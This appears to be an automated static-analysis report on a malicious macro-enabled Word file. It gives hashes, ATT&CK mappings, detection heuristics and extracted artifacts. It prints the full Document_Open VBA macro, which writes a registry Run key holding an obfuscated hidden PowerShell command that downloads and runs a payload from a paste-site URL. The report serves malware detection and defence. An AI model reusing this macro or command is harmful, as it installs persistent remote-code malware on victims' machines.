Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 01cd80fbbd9a964c…

MALICIOUS

Office (OOXML)

143.1 KB Created: 2021-10-20 09:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-24
MD5: 386b399eddf649e948b8e1c0c19c5019 SHA-1: 77f571efe87d94466f8e521016b2a13d40256438 SHA-256: 01cd80fbbd9a964cb0381f83136f3cbbd2bcd36cc21d947599f5ef31c0c91c2b
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1547.001 Registry Run Keys / Startup Folder T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains a Document_Open macro that utilizes WScript.Shell to execute a command. This command adds a registry Run key, specifically 'HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run\benet', to establish persistence. The value associated with this key is a PowerShell command designed to download and execute a second-stage payload from the URL 'https://pastetext.net/raw/a9qmbgtlii'.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Dim wsh As Object
      Set wsh = VBA.CreateObject("WScript.Shell")
      Dim waitOnReturn As Boolean: waitOnReturn = True
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
      wsh.Run "cmd.exe /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet"" /t REG_SZ /d ""pOwersHelL.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB);""", windowStyle, waitOnReturn
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Dim wsh As Object
      Set wsh = VBA.CreateObject("WScript.Shell")
      Dim waitOnReturn As Boolean: waitOnReturn = True
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
      wsh.Run "cmd.exe /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet"" /t REG_SZ /d ""pOwersHelL.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB);""", windowStyle, waitOnReturn
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://pastetext.net/raw/a9qmbgtlii In document text (OOXML body / shared strings)
    • https://pastetext.net/rIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 788 bytes
SHA-256: 4bd819c916e08601451e322fd5469ca173194f4c1a94a4c958d81841bd9cd79f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

 
Sub Document_Open()


  
  Dim wsh As Object
  Set wsh = VBA.CreateObject("WScript.Shell")
  Dim waitOnReturn As Boolean: waitOnReturn = True
  Dim windowStyle As Integer: windowStyle = 0
  
  
  
  wsh.Run "cmd.exe /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet"" /t REG_SZ /d ""pOwersHelL.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB);""", windowStyle, waitOnReturn
  
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 3a03012e24c85d0f0e4cbe2dee354f575e56c74cc1ec5673836e1f4e3bd6faef